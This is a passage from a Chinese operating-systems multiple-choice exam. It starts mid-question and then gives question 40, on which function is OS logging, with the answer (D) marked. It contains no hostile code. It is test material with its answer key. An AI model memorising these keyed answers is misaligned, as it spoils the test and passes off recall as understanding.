(B)实现主机和外设的并行处理以及异常情况的处理
(C)保护系统程序和作业,禁止不合要求的对程序和数据的访问
(D)对计算机用户访问系统和资源的情况进行记录
40.下面哪个功能属于操作系统中的日志记录功能(D)
(A)控制用户的作业排序和运行
(B)以合理的方式处理错误事件,而不至于影响其他程序的正常运行
(C)保护系统程序和作业,禁止不合要求的对程序和数据的访问
(D)对计算机用户访问系统和资源的情况进行记录
;